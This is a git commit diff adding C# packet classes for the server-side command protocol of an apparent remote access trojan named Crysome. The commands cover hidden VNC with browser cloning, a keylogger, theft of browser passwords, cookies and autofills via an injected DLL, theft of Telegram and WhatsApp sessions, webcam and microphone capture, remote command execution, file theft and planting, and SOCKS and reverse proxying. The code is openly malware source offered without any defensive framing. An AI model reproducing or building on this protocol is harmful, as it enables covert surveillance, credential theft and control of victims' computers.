initial commit

This commit is contained in:
i2p
2026-08-27 11:22:54 -06:00
commit 3d81b11e14
2281 changed files with 54227 additions and 0 deletions
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class ClientInfoRequestPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class DeleteFileRequestPacket : IPacket
{
public string Path { get; set; }
public DeleteFileRequestPacket()
{
}
public DeleteFileRequestPacket(string path)
{
Path = path;
}
public void Write(BinaryWriter w)
{
w.Write(Path ?? "");
}
public void Read(BinaryReader r)
{
Path = r.ReadString();
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class DirectLinkRequestPacket : IPacket
{
public string Url { get; set; }
public DirectLinkRequestPacket()
{
}
public DirectLinkRequestPacket(string url)
{
Url = url;
}
public void Write(BinaryWriter w)
{
w.Write(Url ?? "");
}
public void Read(BinaryReader r)
{
Url = r.ReadString();
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class DownloadFileRequestPacket : IPacket
{
public string Url { get; set; }
public DownloadFileRequestPacket()
{
}
public DownloadFileRequestPacket(string url)
{
Url = url;
}
public void Write(BinaryWriter w)
{
w.Write(Url ?? "");
}
public void Read(BinaryReader r)
{
Url = r.ReadString();
}
}
@@ -0,0 +1,37 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class FileTransferRequestPacket : IPacket
{
public string Filename { get; set; }
public byte[] FileData { get; set; }
public FileTransferRequestPacket()
{
}
public FileTransferRequestPacket(string filename, byte[] fileData)
{
Filename = filename;
FileData = fileData;
}
public void Write(BinaryWriter w)
{
w.Write(Filename ?? "");
w.Write((FileData != null) ? FileData.Length : 0);
if (FileData != null)
{
w.Write(FileData);
}
}
public void Read(BinaryReader r)
{
Filename = r.ReadString();
int count = r.ReadInt32();
FileData = r.ReadBytes(count);
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class GetAudioDevicesPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class GetCameraDevicesPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,32 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class GetDirectoryRequestPacket : IPacket
{
public string Path { get; set; }
public long RequestId { get; set; }
public GetDirectoryRequestPacket()
{
}
public GetDirectoryRequestPacket(string path, long requestId = 0L)
{
Path = path;
RequestId = requestId;
}
public void Write(BinaryWriter w)
{
w.Write(Path ?? "");
w.Write(RequestId);
}
public void Read(BinaryReader r)
{
Path = r.ReadString();
RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
}
}
@@ -0,0 +1,18 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class GetDrivesRequestPacket : IPacket
{
public long RequestId { get; set; }
public void Write(BinaryWriter w)
{
w.Write(RequestId);
}
public void Read(BinaryReader r)
{
RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class GetProcessListRequestPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class GetScreensRequestPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class GetSystemInfoRequestPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,26 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class HvncInputPacket : IPacket
{
public int Msg { get; set; }
public int WParam { get; set; }
public int LParam { get; set; }
public void Write(BinaryWriter w)
{
w.Write(Msg);
w.Write(WParam);
w.Write(LParam);
}
public void Read(BinaryReader r)
{
Msg = r.ReadInt32();
WParam = r.ReadInt32();
LParam = r.ReadInt32();
}
}
@@ -0,0 +1,69 @@
using System.IO;
using System.Text;
namespace Crysome.Common.Network.Packets.Server;
public class HvncRunRequestPacket : IPacket
{
public const byte ActionExplorer = 0;
public const byte ActionRunDialog = 1;
public const byte ActionCmd = 2;
public const byte ActionPowerShell = 3;
public const byte ActionChrome = 4;
public const byte ActionEdge = 5;
public const byte ActionFirefox = 6;
public const byte ActionOpera = 7;
public const byte ActionOperaGX = 8;
public const byte ActionBrave = 9;
public const byte ActionCustom = 10;
public const byte ActionCloneChrome = 11;
public const byte ActionCloneEdge = 12;
public const byte ActionCloneFirefox = 13;
public const byte ActionCloneOpera = 14;
public const byte ActionCloneOperaGX = 15;
public const byte ActionCloneBrave = 16;
public const byte ActionNotepad = 17;
public const byte ActionCalculator = 18;
public const byte ActionDiscord = 19;
public byte Action { get; set; }
public string Path { get; set; }
public void Write(BinaryWriter w)
{
w.Write(Action);
byte[] bytes = Encoding.UTF8.GetBytes(Path ?? "");
w.Write(bytes.Length);
if (bytes.Length != 0)
{
w.Write(bytes);
}
}
public void Read(BinaryReader r)
{
Action = r.ReadByte();
int num = r.ReadInt32();
Path = ((num > 0) ? Encoding.UTF8.GetString(r.ReadBytes(num)) : "");
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class KillProcessRequestPacket : IPacket
{
public int Pid { get; set; }
public KillProcessRequestPacket()
{
}
public KillProcessRequestPacket(int pid)
{
Pid = pid;
}
public void Write(BinaryWriter w)
{
w.Write(Pid);
}
public void Read(BinaryReader r)
{
Pid = r.ReadInt32();
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class PingRequestPacket : IPacket
{
public long ServerTick { get; set; }
public PingRequestPacket()
{
}
public PingRequestPacket(long serverTick)
{
ServerTick = serverTick;
}
public void Write(BinaryWriter w)
{
w.Write(ServerTick);
}
public void Read(BinaryReader r)
{
ServerTick = r.ReadInt64();
}
}
@@ -0,0 +1,35 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class RdpSetQualityPacket : IPacket
{
public int Quality { get; set; } = 80;
public int IntervalMs { get; set; }
public RdpSetQualityPacket()
{
}
public RdpSetQualityPacket(int quality, int intervalMs = 0)
{
Quality = quality;
IntervalMs = intervalMs;
}
public void Write(BinaryWriter w)
{
w.Write(Quality);
w.Write(IntervalMs);
}
public void Read(BinaryReader r)
{
Quality = r.ReadInt32();
if (r.BaseStream.Position < r.BaseStream.Length)
{
IntervalMs = r.ReadInt32();
}
}
}
@@ -0,0 +1,32 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class ReadFileRequestPacket : IPacket
{
public string Path { get; set; }
public long TransferId { get; set; }
public ReadFileRequestPacket()
{
}
public ReadFileRequestPacket(string path, long transferId = 0L)
{
Path = path ?? "";
TransferId = transferId;
}
public void Write(BinaryWriter w)
{
w.Write(Path ?? "");
w.Write(TransferId);
}
public void Read(BinaryReader r)
{
Path = r.ReadString();
TransferId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
}
}
@@ -0,0 +1,30 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class RemoteInputPacket : IPacket
{
public byte Kind { get; set; }
public int X { get; set; }
public int Y { get; set; }
public int ButtonOrKey { get; set; }
public void Write(BinaryWriter w)
{
w.Write(Kind);
w.Write(X);
w.Write(Y);
w.Write(ButtonOrKey);
}
public void Read(BinaryReader r)
{
Kind = r.ReadByte();
X = r.ReadInt32();
Y = r.ReadInt32();
ButtonOrKey = r.ReadInt32();
}
}
@@ -0,0 +1,42 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class RequestAudioPacket : IPacket
{
public int Seconds { get; set; } = 5;
public int DeviceIndex { get; set; }
public RequestAudioPacket()
{
}
public RequestAudioPacket(int seconds, int deviceIndex = 0)
{
Seconds = seconds;
DeviceIndex = deviceIndex;
}
public void Write(BinaryWriter w)
{
w.Write(Seconds);
w.Write(DeviceIndex);
}
public void Read(BinaryReader r)
{
Seconds = r.ReadInt32();
try
{
if (r.BaseStream.Position < r.BaseStream.Length)
{
DeviceIndex = r.ReadInt32();
}
}
catch
{
DeviceIndex = 0;
}
}
}
@@ -0,0 +1,37 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class RequestCameraFramePacket : IPacket
{
public int DeviceIndex { get; set; }
public RequestCameraFramePacket()
{
}
public RequestCameraFramePacket(int deviceIndex)
{
DeviceIndex = deviceIndex;
}
public void Write(BinaryWriter w)
{
w.Write(DeviceIndex);
}
public void Read(BinaryReader r)
{
try
{
if (r.BaseStream.Length >= 4)
{
DeviceIndex = r.ReadInt32();
}
}
catch
{
DeviceIndex = 0;
}
}
}
@@ -0,0 +1,48 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class RequestCredentialsPacket : IPacket
{
public const byte TypePasswords = 0;
public const byte TypeCookies = 1;
public const byte TypeBoth = 2;
public const byte TypeAutofills = 3;
public const byte TypeAll = 4;
public byte RequestType { get; set; }
public byte[] DllBytes { get; set; }
public RequestCredentialsPacket()
{
}
public RequestCredentialsPacket(byte requestType, byte[] dllBytes = null)
{
RequestType = requestType;
DllBytes = dllBytes;
}
public void Write(BinaryWriter w)
{
w.Write(RequestType);
int num = ((DllBytes != null) ? DllBytes.Length : 0);
w.Write(num);
if (num > 0)
{
w.Write(DllBytes);
}
}
public void Read(BinaryReader r)
{
RequestType = r.ReadByte();
int num = r.ReadInt32();
DllBytes = ((num > 0) ? r.ReadBytes(num) : null);
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class RestartRequestPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class ReverseProxyStartPacket : IPacket
{
public int ConnectionId { get; set; }
public ReverseProxyStartPacket()
{
}
public ReverseProxyStartPacket(int connectionId)
{
ConnectionId = connectionId;
}
public void Write(BinaryWriter w)
{
w.Write(ConnectionId);
}
public void Read(BinaryReader r)
{
ConnectionId = r.ReadInt32();
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class RunCommandRequestPacket : IPacket
{
public string Command { get; set; }
public RunCommandRequestPacket()
{
}
public RunCommandRequestPacket(string command)
{
Command = command;
}
public void Write(BinaryWriter w)
{
w.Write(Command ?? "");
}
public void Read(BinaryReader r)
{
Command = r.ReadString();
}
}
@@ -0,0 +1,37 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class SendFileRequestPacket : IPacket
{
public string Filename { get; set; }
public byte[] FileData { get; set; }
public SendFileRequestPacket()
{
}
public SendFileRequestPacket(string filename, byte[] fileData)
{
Filename = filename;
FileData = fileData;
}
public void Write(BinaryWriter w)
{
w.Write(Filename ?? "");
w.Write((FileData != null) ? FileData.Length : 0);
if (FileData != null)
{
w.Write(FileData);
}
}
public void Read(BinaryReader r)
{
Filename = r.ReadString();
int count = r.ReadInt32();
FileData = r.ReadBytes(count);
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StartAudioStreamPacket : IPacket
{
public int DeviceIndex { get; set; }
public StartAudioStreamPacket()
{
}
public StartAudioStreamPacket(int deviceIndex)
{
DeviceIndex = deviceIndex;
}
public void Write(BinaryWriter w)
{
w.Write(DeviceIndex);
}
public void Read(BinaryReader r)
{
DeviceIndex = r.ReadInt32();
}
}
@@ -0,0 +1,22 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StartHvncPacket : IPacket
{
public int Quality { get; set; } = 80;
public int IntervalMs { get; set; } = 100;
public void Write(BinaryWriter w)
{
w.Write(Quality);
w.Write(IntervalMs);
}
public void Read(BinaryReader r)
{
Quality = r.ReadInt32();
IntervalMs = r.ReadInt32();
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StartKeyloggerPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StartProxyRequestPacket : IPacket
{
public int SocksPort { get; set; }
public StartProxyRequestPacket()
{
}
public StartProxyRequestPacket(int socksPort)
{
SocksPort = socksPort;
}
public void Write(BinaryWriter w)
{
w.Write(SocksPort);
}
public void Read(BinaryReader r)
{
SocksPort = r.ReadInt32();
}
}
@@ -0,0 +1,46 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StartRemoteDesktopPacket : IPacket
{
public int IntervalMs { get; set; } = 200;
public int ScreenIndex { get; set; } = -1;
public int UdpPort { get; set; }
public uint SessionToken { get; set; }
public byte CaptureMode { get; set; }
public void Write(BinaryWriter w)
{
w.Write(IntervalMs);
w.Write(ScreenIndex);
w.Write(UdpPort);
w.Write(SessionToken);
w.Write(CaptureMode);
}
public void Read(BinaryReader r)
{
IntervalMs = r.ReadInt32();
if (r.BaseStream.Position < r.BaseStream.Length)
{
ScreenIndex = r.ReadInt32();
}
if (r.BaseStream.Position < r.BaseStream.Length)
{
UdpPort = r.ReadInt32();
}
if (r.BaseStream.Position < r.BaseStream.Length)
{
SessionToken = r.ReadUInt32();
}
if (r.BaseStream.Position < r.BaseStream.Length)
{
CaptureMode = r.ReadByte();
}
}
}
@@ -0,0 +1,27 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StartReverseProxyPacket : IPacket
{
public int ServerPort { get; set; }
public StartReverseProxyPacket()
{
}
public StartReverseProxyPacket(int serverPort)
{
ServerPort = serverPort;
}
public void Write(BinaryWriter w)
{
w.Write(ServerPort);
}
public void Read(BinaryReader r)
{
ServerPort = r.ReadInt32();
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StopAudioStreamPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StopHvncPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StopKeyloggerPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StopProxyRequestPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class StopRemoteDesktopPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class TakeScreenshotRequestPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class TelegramSessionRequestPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,14 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class WhatsAppSessionRequestPacket : IPacket
{
public void Write(BinaryWriter w)
{
}
public void Read(BinaryReader r)
{
}
}
@@ -0,0 +1,32 @@
using System.IO;
namespace Crysome.Common.Network.Packets.Server;
public class WriteFileRequestPacket : IPacket
{
public string DestPath { get; set; }
public long TransferId { get; set; }
public byte[] Data { get; set; }
public void Write(BinaryWriter w)
{
w.Write(DestPath ?? "");
w.Write(TransferId);
int num = ((Data != null) ? Data.Length : 0);
w.Write(num);
if (num > 0)
{
w.Write(Data);
}
}
public void Read(BinaryReader r)
{
DestPath = r.ReadString();
TransferId = r.ReadInt64();
int num = r.ReadInt32();
Data = ((num > 0) ? r.ReadBytes(num) : null);
}
}